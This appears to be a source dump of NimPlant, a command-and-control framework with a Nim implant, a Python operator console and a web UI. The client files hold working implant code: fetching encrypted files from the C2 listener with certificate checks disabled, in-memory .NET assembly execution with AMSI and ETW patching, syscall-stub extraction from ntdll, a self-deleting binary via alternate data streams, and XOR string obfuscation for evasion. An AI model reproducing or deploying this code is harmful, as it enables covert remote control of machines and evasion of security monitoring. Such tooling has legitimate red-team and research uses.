boolean; 14 | } 15 | 16 | // Component for single navigation items 17 | function NavItem({ icon, label, target, active }: MainLinkProps) { 18 | const largeScreen = useMediaQuery('(min-width: 1200px)'); 19 | return ( 20 | 21 | ({ 23 | display: 'block', 24 | width: '100%', 25 | padding: theme.spacing.xs, 26 | borderRadius: '5px', 27 | transition: '0.1s', 28 | color: active ? 'white' : theme.colors.rose[1], 29 | backgroundColor: active ? theme.colors.rose[8] : 'transparent', 30 | 31 | '&:hover': { 32 | color: 'white', 33 | backgroundColor: theme.colors.rose[8], 34 | }, 35 | })} 36 | > 37 | 38 | {icon} {label} 39 | 40 | 41 | 42 | ); 43 | } 44 | 45 | // Construct the navbar 46 | function NavbarContents() { 47 | const currentPath = useRouter().pathname 48 | 49 | return ( 50 | <> 51 | 52 | 53 | } label="Home" target='/' active={currentPath === '/'} /> 54 | } label="Server" target='/server' active={currentPath === '/server'} /> 55 | } label="Downloads" target='/downloads' active={currentPath === '/downloads'} /> 56 | } label="Nimplants" target='/nimplants' active={currentPath.startsWith('/nimplants')} /> 57 | 58 | 59 | 60 |
61 | Logo 62 |
63 |
64 | 65 | ) 66 | } 67 | 68 | export default NavbarContents -------------------------------------------------------------------------------- /client/commands/upload.nim: -------------------------------------------------------------------------------- 1 | from ../util/webClient import Listener 2 | from os import getcurrentdir, `/` 3 | from strutils import join, split, toLowerAscii 4 | from zippy import uncompress 5 | import ../util/crypto 6 | import puppy 7 | 8 | # Upload a file from the C2 server to NimPlant 9 | # From NimPlant's perspective this is similar to wget, but calling to the C2 server instead 10 | proc upload*(li : Listener, cmdGuid : string, args : varargs[string]) : string = 11 | var 12 | fileId : string 13 | fileName : string 14 | filePath : string 15 | url : string 16 | 17 | if args.len == 2 and args[0] != "" and args[1] != "": 18 | fileId = args[0] 19 | fileName = args[1] 20 | filePath = getCurrentDir()/fileName 21 | elif args.len >= 3: 22 | fileId = args[0] 23 | fileName = args[1] 24 | filePath = args[2 .. ^1].join(obf(" ")) 25 | else: 26 | # Handling of the second argument (filename) is done by the python server 27 | result = obf("Invalid number of arguments received. Usage: 'upload [local file] '.") 28 | return 29 | 30 | url = toLowerAscii(li.listenerType) & obf("://") 31 | if li.listenerHost != "": 32 | url = url & li.listenerHost 33 | else: 34 | url = url & li.listenerIp & obf(":") & li.listenerPort 35 | url = url & li.taskpath & obf("/") & fileId 36 | 37 | # Get the file - Puppy will take care of transparent deflation of the gzip layer 38 | let req = Request( 39 | url: parseUrl(url), 40 | headers: @[ 41 | Header(key: obf("User-Agent"), value: li.userAgent), 42 | Header(key: obf("X-Identifier"), value: li.id), # Nimplant ID 43 | Header(key: obf("X-Unique-ID"), value: cmdGuid) # Task GUID 44 | ], 45 | allowAnyHttpsCertificate: true, 46 | ) 47 | let res: Response = fetch(req) 48 | 49 | # Check the result 50 | if res.code != 200: 51 | result = obf("Something went wrong uploading the file (NimPlant did not receive response from staging server '") & url & obf("').") 52 | return 53 | 54 | # Handle the encrypted and compressed response 55 | var dec = decryptData(res.body, li.cryptKey) 56 | var decStr: string = cast[string](dec) 57 | var fileBuffer: seq[byte] = convertToByteSeq(uncompress(decStr)) 58 | 59 | # Write the file to the target path 60 | filePath.writeFile(fileBuffer) 61 | result = obf("Uploaded file to '") & filePath & obf("'.") -------------------------------------------------------------------------------- /client/commands/risky/executeAssembly.nim: -------------------------------------------------------------------------------- 1 | import winim/clr except `[]` 2 | from strutils import parseInt 3 | from zippy import uncompress 4 | import ../../util/[crypto, patches] 5 | 6 | # Execute a dotnet binary from an encrypted and compressed stream 7 | proc executeAssembly*(li : Listener, args : varargs[string]) : string = 8 | # This shouldn't happen since parameters are managed on the Python-side, but you never know 9 | if not args.len >= 2: 10 | result = obf("Invalid number of arguments received. Usage: 'execute-assembly [localfilepath] '.") 11 | return 12 | 13 | let 14 | assemblyB64: string = args[2] 15 | var 16 | amsi: bool = false 17 | etw: bool = false 18 | 19 | amsi = cast[bool](parseInt(args[0])) 20 | etw = cast[bool](parseInt(args[1])) 21 | 22 | result = obf("Executing .NET assembly from memory...\n") 23 | if amsi: 24 | var res = patchAMSI() 25 | if res == 0: 26 | result.add(obf("[+] AMSI patched!\n")) 27 | if res == 1: 28 | result.add(obf("[-] Error patching AMSI!\n")) 29 | if res == 2: 30 | result.add(obf("[+] AMSI already patched!\n")) 31 | if etw: 32 | var res = patchETW() 33 | if res == 0: 34 | result.add(obf("[+] ETW patched!\n")) 35 | if res == 1: 36 | result.add(obf("[-] Error patching ETW!\n")) 37 | if res == 2: 38 | result.add(obf("[+] ETW already patched!\n")) 39 | 40 | var dec = decryptData(assemblyB64, li.cryptKey) 41 | var decStr: string = cast[string](dec) 42 | var decompressed: string = uncompress(decStr) 43 | 44 | var assembly = load(convertToByteSeq(decompressed)) 45 | var arr = toCLRVariant(args[3 .. ^1], VT_BSTR) 46 | 47 | result.add(obf("[*] Executing...\n")) 48 | 49 | # .NET CLR wizardry to redirect Console.WriteLine output to the nimplant console 50 | let 51 | mscor = load(obf("mscorlib")) 52 | io = load(obf("System.IO")) 53 | Console = mscor.GetType(obf("System.Console")) 54 | StringWriter = io.GetType(obf("System.IO.StringWriter")) 55 | 56 | var sw = @StringWriter.new() 57 | var oldConsOut = @Console.Out 58 | @Console.SetOut(sw) 59 | 60 | # Actual assembly execution 61 | assembly.EntryPoint.Invoke(nil, toCLRVariant([arr])) 62 | 63 | # Restore console properties so we don't break anything, and return captured output 64 | @Console.SetOut(oldConsOut) 65 | var res = fromCLRVariant[string](sw.ToString()) 66 | result.add(res) 67 | 68 | result.add(obf("[+] Execution completed.")) -------------------------------------------------------------------------------- /server/util/input.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | # Command history and command / path completion on Linux 4 | if os.name == "posix": 5 | import readline 6 | from .commands import getCommandList 7 | 8 | commands = getCommandList() 9 | 10 | def list_folder(path): 11 | if path.startswith(os.path.sep): 12 | # absolute path 13 | basedir = os.path.dirname(path) 14 | contents = os.listdir(basedir) 15 | # add back the parent 16 | contents = [os.path.join(basedir, d) for d in contents] 17 | else: 18 | # relative path 19 | contents = os.listdir(os.curdir) 20 | return contents 21 | 22 | # Dynamically complete commands 23 | def complete(text, state): 24 | line = readline.get_line_buffer() 25 | if line == text: 26 | results = [x for x in commands if x.startswith(text)] + [None] 27 | else: 28 | results = [x for x in list_folder(text) if x.startswith(text)] + [None] 29 | 30 | return results[state] 31 | 32 | readline.set_completer(complete) 33 | readline.parse_and_bind("tab: complete") 34 | readline.set_completer_delims(" \t\n`~!@#$%^&*()-=+[{]}\\|;:'\",<>?") 35 | inputFunction = input 36 | 37 | # Command history and command / path completion on Windows 38 | else: 39 | from prompt_toolkit import PromptSession 40 | from prompt_toolkit.auto_suggest import AutoSuggestFromHistory 41 | from prompt_toolkit.completion import NestedCompleter 42 | from prompt_toolkit.contrib.completers.system import SystemCompleter 43 | from prompt_toolkit.shortcuts import CompleteStyle 44 | 45 | from .commands import getCommandList 46 | 47 | commands = getCommandList() 48 | 49 | # Complete system commands and paths 50 | systemCompleter = SystemCompleter() 51 | 52 | # Use a nested dict for each command to prevent arguments from being auto-completed before a command is entered and vice versa 53 | dict = {} 54 | for c in commands: 55 | dict[c] = systemCompleter 56 | nestedCompleter = NestedCompleter.from_nested_dict(dict) 57 | 58 | session = PromptSession() 59 | 60 | # User prompt 61 | def promptUserForCommand(): 62 | from .nimplant import np_server 63 | from .commands import handleCommand 64 | 65 | np = np_server.getActiveNimplant() 66 | 67 | if os.name == "posix": 68 | command = input(f"NimPlant {np.id} $ > ") 69 | else: 70 | command = session.prompt( 71 | f"NimPlant {np.id} $ > ", 72 | completer=nestedCompleter, 73 | complete_style=CompleteStyle.READLINE_LIKE, 74 | auto_suggest=AutoSuggestFromHistory(), 75 | ) 76 | 77 | handleCommand(command) 78 | -------------------------------------------------------------------------------- /ui/pages/nimplants/details.tsx: -------------------------------------------------------------------------------- 1 | import { getNimplantConsole, getNimplantInfo, restoreConnectionError, showConnectionError, submitCommand } from '../../modules/nimplant' 2 | import { FaTerminal, FaInfoCircle, FaLaptopCode } from 'react-icons/fa' 3 | import { Tabs } from '@mantine/core' 4 | import { useEffect, useState } from 'react' 5 | import { useMediaQuery } from '@mantine/hooks' 6 | import { useRouter } from 'next/router' 7 | import Console from '../../components/Console' 8 | import ErrorPage from 'next/error' 9 | import InfoCardListNimplant from '../../components/InfoCardListNimplant' 10 | import TitleBar from '../../components/TitleBar' 11 | import type { NextPage } from 'next' 12 | 13 | // Tabbed page for showing single nimplant information and console 14 | const NimplantIndex: NextPage = () => { 15 | const largeScreen = useMediaQuery('(min-width: 800px)'); 16 | 17 | const router = useRouter(); 18 | const [activeTab, setActiveTab] = useState(1); // default to console tab 19 | 20 | const guid = router.query.guid as string 21 | const { nimplantInfo, nimplantInfoLoading, nimplantInfoError } = getNimplantInfo(guid) 22 | const { nimplantConsole, nimplantConsoleLoading, nimplantConsoleError } = getNimplantConsole(guid) 23 | 24 | useEffect(() => { 25 | // If the server responds but the GUID is not found, throw invalid GUID error 26 | if (nimplantInfoError && nimplantConsoleError){ 27 | showConnectionError() 28 | } else { 29 | restoreConnectionError() 30 | } 31 | }) 32 | 33 | if (!guid || (!nimplantInfoLoading && nimplantInfo == "Invalid Nimplant GUID")){ 34 | return 35 | } else { 36 | return ( 37 | <> 38 | } noBorder /> 39 | 40 | 41 | 42 | }>Information 43 | }>Console 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 58 | 59 | 60 | 61 | ) 62 | } 63 | 64 | 65 | } 66 | export default NimplantIndex -------------------------------------------------------------------------------- /ui/public/nimplant.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /server/web/static/nimplant.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /ui/components/modals/Cmd-Upload.tsx: -------------------------------------------------------------------------------- 1 | import { Button, FileButton, Input, Modal, SimpleGrid, Space, Text } from "@mantine/core" 2 | import { Dispatch, SetStateAction, useState } from "react"; 3 | import { FaUpload } from "react-icons/fa" 4 | import { submitCommand, uploadFile } from "../../modules/nimplant"; 5 | 6 | 7 | interface IProps { 8 | modalOpen: boolean; 9 | setModalOpen: Dispatch>; 10 | npGuid: string | undefined; 11 | } 12 | 13 | function UploadModal({ modalOpen, setModalOpen, npGuid }: IProps) { 14 | const [file, setFile] = useState(null); 15 | const [targetPath, setTargetPath] = useState(""); 16 | const [submitLoading, setSubmitLoading] = useState(false); 17 | 18 | const submit = () => { 19 | // Check if a file is selected 20 | if (!file || file === null) { 21 | return; 22 | } 23 | 24 | // Upload the file 25 | setSubmitLoading(true); 26 | uploadFile(file, callbackCommand, callbackClose); 27 | }; 28 | 29 | const callbackCommand = (uploadPath: string) => { 30 | // Handle the upload command 31 | submitCommand(String(npGuid), `upload "${uploadPath}" "${targetPath}"`, callbackClose); 32 | }; 33 | 34 | const callbackClose = () => { 35 | // Reset state 36 | setModalOpen(false); 37 | setFile(null); 38 | setTargetPath(""); 39 | setSubmitLoading(false); 40 | }; 41 | 42 | return ( 43 | setModalOpen(false)} 46 | title={Upload: Upload a file} 47 | size="auto" 48 | centered 49 | > 50 | Upload a file to the target. 51 | 52 | 53 | 54 | 55 | {/* File selector */} 56 | 57 | {(props) => } 60 | 61 | 62 | {/* Arguments and options */} 63 | setTargetPath(event.currentTarget.value)} 67 | /> 68 | 69 | 70 | 71 | 72 | 73 | {/* Submit button */} 74 | 82 | 83 | ) 84 | } 85 | 86 | export default UploadModal -------------------------------------------------------------------------------- /ui/public/favicon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /server/web/static/favicon.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ui/components/MainLayout.tsx: -------------------------------------------------------------------------------- 1 | import React, { useState } from "react"; 2 | import Head from 'next/head'; 3 | import { AppShell, Header, Navbar, MediaQuery, Burger, useMantineTheme, Image, Badge, Space, Box, Text } from "@mantine/core"; 4 | import NavbarContents from "./NavbarContents"; 5 | 6 | // Basic component for highlighted text 7 | export function Highlight({children}: {children: React.ReactNode}) { 8 | return {children} 9 | } 10 | 11 | // Main layout component 12 | type ChildrenProps = React.PropsWithChildren<{}>; 13 | function MainLayout({ children }: ChildrenProps) { 14 | const theme = useMantineTheme(); 15 | const [sidebarOpened, setSidebarOpened] = useState(false) 16 | 17 | return ( 18 | <> 19 | {/* Header information (static for all pages) */} 20 | 21 | Nimplant 22 | 23 | 24 | 25 | 26 | {/* Main layout (header-sidebar-content) is managed via AppShell */} 27 | ({ 31 | main: { 32 | paddingRight: '0px', 33 | height: 'calc(100vh-100px)', 34 | }, 35 | })} 36 | 37 | header={ 38 |
39 |
40 | 41 | setSidebarOpened((o) => !o)} 44 | size="sm" 45 | color={theme.colors.gray[6]} 46 | mr="xl" 47 | /> 48 | 49 | 50 | Logo 51 | 52 | 53 | 54 | 55 | v1.0 57 | 58 | 59 |
60 |
61 | } 62 | 63 | navbar={ 64 | 70 | } 71 | > 72 | {children} 73 |
74 | 75 | ) 76 | } 77 | 78 | export default MainLayout -------------------------------------------------------------------------------- /client/util/risky/dinvoke.nim: -------------------------------------------------------------------------------- 1 | import winim/lean 2 | import strutils 3 | import ptr_math 4 | 5 | var 6 | SYSCALL_STUB_SIZE*: int = 23 7 | 8 | proc RVAtoRawOffset(RVA: DWORD_PTR, section: PIMAGE_SECTION_HEADER): PVOID = 9 | return cast[PVOID](RVA - section.VirtualAddress + section.PointerToRawData) 10 | 11 | proc toString(bytes: openarray[byte]): string = 12 | result = newString(bytes.len) 13 | copyMem(result[0].addr, bytes[0].unsafeAddr, bytes.len) 14 | 15 | proc GetSyscallStub*(functionName: LPCSTR, syscallStub: LPVOID): BOOL = 16 | var 17 | file: HANDLE 18 | fileSize: DWORD 19 | bytesRead: DWORD 20 | fileData: LPVOID 21 | ntdllString: LPCSTR = "C:\\windows\\system32\\ntdll.dll" 22 | nullHandle: HANDLE 23 | 24 | file = CreateFileA(ntdllString, cast[DWORD](GENERIC_READ), cast[DWORD](FILE_SHARE_READ), cast[LPSECURITY_ATTRIBUTES](NULL), cast[DWORD](OPEN_EXISTING), cast[DWORD](FILE_ATTRIBUTE_NORMAL), nullHandle) 25 | fileSize = GetFileSize(file, nil) 26 | fileData = HeapAlloc(GetProcessHeap(), 0, fileSize) 27 | ReadFile(file, fileData, fileSize, addr bytesRead, nil) 28 | 29 | var 30 | dosHeader: PIMAGE_DOS_HEADER = cast[PIMAGE_DOS_HEADER](fileData) 31 | imageNTHeaders: PIMAGE_NT_HEADERS = cast[PIMAGE_NT_HEADERS](cast[DWORD_PTR](fileData) + dosHeader.e_lfanew) 32 | exportDirRVA: DWORD = imageNTHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress 33 | section: PIMAGE_SECTION_HEADER = IMAGE_FIRST_SECTION(imageNTHeaders) 34 | textSection: PIMAGE_SECTION_HEADER = section 35 | rdataSection: PIMAGE_SECTION_HEADER = section 36 | 37 | let i: uint16 = 0 38 | for Section in i ..< imageNTHeaders.FileHeader.NumberOfSections: 39 | var ntdllSectionHeader = cast[PIMAGE_SECTION_HEADER](cast[DWORD_PTR](IMAGE_FIRST_SECTION(imageNTHeaders)) + cast[DWORD_PTR](IMAGE_SIZEOF_SECTION_HEADER * Section)) 40 | if ".rdata" in toString(ntdllSectionHeader.Name): 41 | rdataSection = ntdllSectionHeader 42 | 43 | var exportDirectory: PIMAGE_EXPORT_DIRECTORY = cast[PIMAGE_EXPORT_DIRECTORY](RVAtoRawOffset(cast[DWORD_PTR](fileData) + exportDirRVA, rdataSection)) 44 | 45 | var addressOfNames: PDWORD = cast[PDWORD](RVAtoRawOffset(cast[DWORD_PTR](fileData) + cast[DWORD_PTR](exportDirectory.AddressOfNames), rdataSection)) 46 | var addressOfFunctions: PDWORD = cast[PDWORD](RVAtoRawOffset(cast[DWORD_PTR](fileData) + cast[DWORD_PTR](exportDirectory.AddressOfFunctions), rdataSection)) 47 | var stubFound: BOOL = 0 48 | 49 | let j: int = 0 50 | for j in 0 ..< exportDirectory.NumberOfNames: 51 | var functionNameVA: DWORD_PTR = cast[DWORD_PTR](RVAtoRawOffset(cast[DWORD_PTR](fileData) + addressOfNames[j], rdataSection)) 52 | var functionVA: DWORD_PTR = cast[DWORD_PTR](RVAtoRawOffset(cast[DWORD_PTR](fileData) + addressOfFunctions[j + 1], textSection)) 53 | var functionNameResolved: LPCSTR = cast[LPCSTR](functionNameVA) 54 | var compare: int = lstrcmpA(functionNameResolved,functionName) 55 | if (compare == 0): 56 | copyMem(syscallStub, cast[LPVOID](functionVA), SYSCALL_STUB_SIZE) 57 | stubFound = 1 58 | 59 | return stubFound -------------------------------------------------------------------------------- /server/web/static/_next/static/chunks/pages/server-dcf178e42882a4db.js: -------------------------------------------------------------------------------- 1 | (self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[753],{3895:function(e,n,s){(window.__NEXT_P=window.__NEXT_P||[]).push(["/server",function(){return s(6892)}])},6892:function(e,n,s){"use strict";s.r(n),s.d(n,{default:function(){return k}});var l=s(5893),i=s(4998),r=s(5154),c=s(741),t=s(7294),o=s(3680),x=s(7564),d=s(7841),j=s(9236),a=s(50),h=s(8623),u=s(5117),m=s(9406),f=s(3485),v=s(8818),g=function(e){let{modalOpen:n,setModalOpen:s}=e;return(0,l.jsxs)(f.u,{opened:n,onClose:()=>s(!1),title:(0,l.jsx)("b",{children:"Danger zone!"}),centered:!0,children:["Are you sure you want to exit the server? All active nimplants will be killed.",(0,l.jsx)(v.T,{h:"xl"}),(0,l.jsx)(d.z,{onClick:()=>{s(!1),(0,i.XP)()},leftIcon:(0,l.jsx)(r.Z1A,{}),sx:{width:"100%"},children:"Yes, kill kill kill!"})]})},p=s(3986),b=function(){let[e,n]=(0,t.useState)(!1),{serverInfo:s,serverInfoLoading:c,serverInfoError:o}=(0,i.L6)();return(0,l.jsxs)(x.K,{ml:"xl",mr:40,mt:"xl",spacing:"xs",children:[(0,l.jsx)(g,{modalOpen:e,setModalOpen:n}),(0,l.jsx)(d.z,{mb:"sm",onClick:()=>n(!0),leftIcon:(0,l.jsx)(r.Z1A,{}),sx:{maxWidth:"200px"},children:"Kill server"}),(0,l.jsx)(j.D,{order:2,children:"Connection Information"}),(0,l.jsxs)(a.r,{columns:2,gutter:"lg",children:[(0,l.jsx)(a.r.Col,{xs:2,md:1,children:(0,l.jsx)(p.Z,{icon:(0,l.jsx)(r.Els,{size:"1.5em"}),content:(0,l.jsx)(h.O,{visible:!s,children:(0,l.jsxs)(u.x,{children:["Connected to Server "," ",(0,l.jsx)(m.y,{children:s&&s.name})," ","at"," ",(0,l.jsx)(m.y,{children:s&&"http://".concat(s.config.managementIp,":").concat(s.config.managementPort)})]})})})}),(0,l.jsx)(a.r.Col,{xs:2,md:1,children:(0,l.jsx)(p.Z,{icon:(0,l.jsx)(r.F1m,{size:"1.5em"}),content:(0,l.jsx)(h.O,{visible:!s,children:(0,l.jsxs)(u.x,{children:["Listener running at ",(0,l.jsx)(m.y,{children:s&&(0,i.ZS)(s)})]})})})})]}),(0,l.jsx)(j.D,{order:2,pt:20,children:"Nimplant Profile"}),(0,l.jsxs)(a.r,{columns:2,gutter:"lg",children:[(0,l.jsx)(a.r.Col,{xs:2,md:1,children:(0,l.jsx)(p.Z,{icon:(0,l.jsx)(r.qyc,{size:"1.5em"}),content:(0,l.jsx)(h.O,{visible:!s,children:(0,l.jsxs)(u.x,{children:["Nimplants sleep for "," ",(0,l.jsx)(m.y,{children:s&&"".concat(s.config.sleepTime)})," ","seconds (",(0,l.jsxs)(m.y,{children:[s&&"".concat(s.config.sleepJitter),"%"]})," ","jitter) by default. Kill date is"," ",(0,l.jsx)(m.y,{children:s&&"".concat(s.config.killDate)})]})})})}),(0,l.jsx)(a.r.Col,{xs:2,md:1,children:(0,l.jsx)(p.Z,{icon:(0,l.jsx)(r.FrP,{size:"1.5em"}),content:(0,l.jsx)(h.O,{visible:!s,children:(0,l.jsxs)(u.x,{children:["Default Nimplant user agent: ",(0,l.jsx)(m.y,{children:s&&"".concat(s.config.userAgent)})]})})})})]})]})},C=s(315);let _=()=>{let{serverConsole:e,serverConsoleLoading:n,serverConsoleError:s}=(0,i.r5)();return(0,t.useEffect)(()=>{s?(0,i.or)():e&&(0,i.Xe)()}),(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(C.Z,{title:"Server Info",icon:(0,l.jsx)(r.Els,{size:"2em"}),noBorder:!0}),(0,l.jsxs)(c.m,{defaultValue:"serverinfo",children:[(0,l.jsxs)(c.m.List,{mx:-25,grow:!0,children:[(0,l.jsx)(c.m.Tab,{value:"serverinfo",icon:(0,l.jsx)(r.DAO,{}),children:"Information"}),(0,l.jsx)(c.m.Tab,{value:"serverconsole",icon:(0,l.jsx)(r.fF,{}),children:"Console"})]}),(0,l.jsx)(c.m.Panel,{value:"serverinfo",children:(0,l.jsx)(b,{})}),(0,l.jsx)(c.m.Panel,{value:"serverconsole",children:(0,l.jsx)(o.Z,{consoleData:e})})]})]})};var k=_}},function(e){e.O(0,[968,673,824,200,774,888,179],function(){return e(e.s=3895)}),_N_E=e.O()}]); -------------------------------------------------------------------------------- /client/util/selfDelete.nim: -------------------------------------------------------------------------------- 1 | import strenc 2 | from winim import PathFileExistsW 3 | from winim/lean import HINSTANCE, DWORD, LPVOID, WCHAR, PWCHAR, LPWSTR, HANDLE, NULL, TRUE, WINBOOL, MAX_PATH 4 | from winim/lean import DELETE, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, FILE_DISPOSITION_INFO, INVALID_HANDLE_VALUE 5 | from winim/lean import CreateFileW, RtlSecureZeroMemory, RtlCopyMemory, SetFileInformationByHandle, GetModuleFileNameW, CloseHandle 6 | 7 | type 8 | FILE_RENAME_INFO = object 9 | ReplaceIfExists*: WINBOOL 10 | RootDirectory*: HANDLE 11 | FileNameLength*: DWORD 12 | FileName*: array[8, WCHAR] 13 | 14 | proc dsOpenHandle(pwPath: PWCHAR): HANDLE = 15 | return CreateFileW(pwPath, DELETE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0) 16 | 17 | proc dsRenameHandle(hHandle: HANDLE): WINBOOL = 18 | let DS_STREAM_RENAME = newWideCString(obf(":msrpcsv")) 19 | 20 | var fRename : FILE_RENAME_INFO 21 | RtlSecureZeroMemory(addr fRename, sizeof(fRename)) 22 | 23 | var lpwStream : LPWSTR = cast[LPWSTR](DS_STREAM_RENAME[0].unsafeaddr) 24 | fRename.FileNameLength = sizeof(lpwStream).DWORD; 25 | RtlCopyMemory(addr fRename.FileName, lpwStream, sizeof(lpwStream)) 26 | 27 | return SetFileInformationByHandle(hHandle, 3, addr fRename, sizeof(fRename) + sizeof(lpwStream)) # fileRenameInfo* = 3 28 | 29 | proc dsDepositeHandle(hHandle: HANDLE): WINBOOL = 30 | var fDelete : FILE_DISPOSITION_INFO 31 | RtlSecureZeroMemory(addr fDelete, sizeof(fDelete)) 32 | 33 | fDelete.DeleteFile = TRUE; 34 | 35 | return SetFileInformationByHandle(hHandle, 4, addr fDelete, sizeof(fDelete).cint) # fileDispositionInfo* = 4 36 | 37 | proc selfDelete*(): void = 38 | var 39 | wcPath : array[MAX_PATH + 1, WCHAR] 40 | hCurrent : HANDLE 41 | 42 | RtlSecureZeroMemory(addr wcPath[0], sizeof(wcPath)); 43 | 44 | if GetModuleFileNameW(0, addr wcPath[0], MAX_PATH) == 0: 45 | when defined verbose: 46 | echo obf("DEBUG: Failed to get the current module handle") 47 | quit(QuitFailure) 48 | 49 | hCurrent = dsOpenHandle(addr wcPath[0]) 50 | if hCurrent == INVALID_HANDLE_VALUE: 51 | when defined verbose: 52 | echo obf("DEBUG: Failed to acquire handle to current running process") 53 | quit(QuitFailure) 54 | 55 | when defined verbose: 56 | echo obf("DEBUG: Attempting to rename file name") 57 | 58 | if not dsRenameHandle(hCurrent).bool: 59 | when defined verbose: 60 | echo obf("DEBUG: Failed to rename to stream") 61 | quit(QuitFailure) 62 | 63 | when defined verbose: 64 | echo obf("DEBUG: Successfully renamed file primary :$DATA ADS to specified stream, closing initial handle") 65 | 66 | CloseHandle(hCurrent) 67 | 68 | hCurrent = dsOpenHandle(addr wcPath[0]) 69 | if hCurrent == INVALID_HANDLE_VALUE: 70 | when defined verbose: 71 | echo obf("DEBUG: Failed to reopen current module") 72 | quit(QuitFailure) 73 | 74 | if not dsDepositeHandle(hCurrent).bool: 75 | when defined verbose: 76 | echo obf("DEBUG: Failed to set delete deposition") 77 | quit(QuitFailure) 78 | 79 | when defined verbose: 80 | echo obf("DEBUG: Closing handle to trigger deletion deposition") 81 | 82 | CloseHandle(hCurrent) 83 | 84 | if not PathFileExistsW(addr wcPath[0]).bool: 85 | when defined verbose: 86 | echo obf("DEBUG: File deleted successfully") -------------------------------------------------------------------------------- /ui/components/InfoCardListServer.tsx: -------------------------------------------------------------------------------- 1 | import { FaServer, FaClock, FaHeadphones, FaInternetExplorer, FaSkull } from "react-icons/fa" 2 | import { getListenerString, getServerInfo } from "../modules/nimplant"; 3 | import { Grid, Title, Text, Button, Skeleton, Stack } from "@mantine/core" 4 | import { Highlight } from "./MainLayout"; 5 | import { useState } from "react"; 6 | import ExitServerModal from "./modals/ExitServer"; 7 | import InfoCard from "./InfoCard" 8 | 9 | // Component for single information card (for server and nimplant data) 10 | function InfoCardListServer() { 11 | const [exitModalOpen, setExitModalOpen] = useState(false); 12 | const { serverInfo, serverInfoLoading, serverInfoError } = getServerInfo() 13 | 14 | // Return the actual cards 15 | return ( 16 | 17 | 18 | 19 | 20 | 27 | 28 | 29 | Connection Information 30 | 31 | 32 | 33 | 34 | } content={ 35 | 36 | Connected to Server {' '} 37 | {serverInfo && serverInfo.name} 38 | {' '}at{' '} 39 | {serverInfo && `http://${serverInfo.config.managementIp}:${serverInfo.config.managementPort}`} 40 | 41 | 42 | } /> 43 | 44 | 45 | 46 | } content={ 47 | 48 | Listener running at {serverInfo && getListenerString(serverInfo)} 49 | 50 | } /> 51 | 52 | 53 | 54 | 55 | 56 | Nimplant Profile 57 | 58 | 59 | 60 | 61 | } content={ 62 | 63 | 64 | Nimplants sleep for {' '} 65 | {serverInfo && `${serverInfo.config.sleepTime}`} 66 | {' '}seconds ( 67 | {serverInfo && `${serverInfo.config.sleepJitter}`}% 68 | {' '}jitter) by default. Kill date is{' '} 69 | {serverInfo && `${serverInfo.config.killDate}`} 70 | 71 | 72 | } /> 73 | 74 | 75 | 76 | } content={ 77 | 78 | 79 | Default Nimplant user agent: {serverInfo && `${serverInfo.config.userAgent}`} 80 | 81 | 82 | } /> 83 | 84 | 85 | 86 | ) 87 | } 88 | 89 | export default InfoCardListServer -------------------------------------------------------------------------------- /client/util/crypto.nim: -------------------------------------------------------------------------------- 1 | import nimcrypto, base64, random 2 | from strutils import strip 3 | 4 | # Calculate the XOR of a string with a certain key 5 | # This function is explicitly intended for use for pre-key exchange crypto operations (decoding key) 6 | proc xorString*(s: string, key: int): string {.noinline.} = 7 | var k = key 8 | result = s 9 | for i in 0 ..< result.len: 10 | for f in [0, 8, 16, 24]: 11 | result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF)) 12 | k = k +% 1 13 | 14 | # XOR a string to a sequence of raw bytes 15 | # This function is explicitly intended for use with the embedded config file (for evasion) 16 | proc xorStringToByteSeq*(str: string, key: int): seq[byte] {.noinline.} = 17 | let length = str.len 18 | var k = key 19 | result = newSeq[byte](length) 20 | 21 | # Bitwise copy since we can't use 'copyMem' since it will be called at compile-time 22 | for i in 0 ..< result.len: 23 | result[i] = str[i].byte 24 | 25 | # Do the XOR 26 | for i in 0 ..< result.len: 27 | for f in [0, 8, 16, 24]: 28 | result[i] = uint8(result[i]) xor uint8((k shr f) and 0xFF) 29 | k = k +% 1 30 | 31 | # XOR a raw byte sequence back to a string 32 | proc xorByteSeqToString*(input: seq[byte], key: int): string {.noinline.} = 33 | let length = input.len 34 | var k = key 35 | 36 | # Since this proc is used at runtime, we can use 'copyMem' 37 | result = newString(length) 38 | copyMem(result[0].unsafeAddr, input[0].unsafeAddr, length) 39 | 40 | # Do the XOR and convert back to character 41 | for i in 0 ..< result.len: 42 | for f in [0, 8, 16, 24]: 43 | result[i] = chr(uint8(result[i]) xor uint8((k shr f) and 0xFF)) 44 | k = k +% 1 45 | 46 | # Get a random string 47 | proc rndStr(len : int) : string = 48 | randomize() 49 | for _ in 0..(len-1): 50 | add(result, char(rand(int('A') .. int('z')))) 51 | 52 | # Converts a string to the corresponding byte sequence. 53 | # https://github.com/nim-lang/Nim/issues/14810 54 | func convertToByteSeq*(str: string): seq[byte] {.inline.} = 55 | @(str.toOpenArrayByte(0, str.high)) 56 | 57 | # Converts a byte sequence to the corresponding string. 58 | func convertToString(bytes: openArray[byte]): string {.inline.} = 59 | let length = bytes.len 60 | if length > 0: 61 | result = newString(length) 62 | copyMem(result[0].unsafeAddr, bytes[0].unsafeAddr, length) 63 | 64 | # Decrypt a blob of encrypted data with the given key 65 | proc decryptData*(blob: string, key: string): string = 66 | let 67 | blobBytes = convertToByteSeq(decode(blob)) 68 | iv = blobBytes[0 .. 15] 69 | var 70 | enc = newSeq[byte](blobBytes.len) 71 | dec = newSeq[byte](blobBytes.len) 72 | keyBytes = convertToByteSeq(key) 73 | dctx: CTR[aes128] 74 | 75 | enc = blobBytes[16 .. ^1] 76 | dctx.init(keyBytes, iv) 77 | dctx.decrypt(enc, dec) 78 | dctx.clear() 79 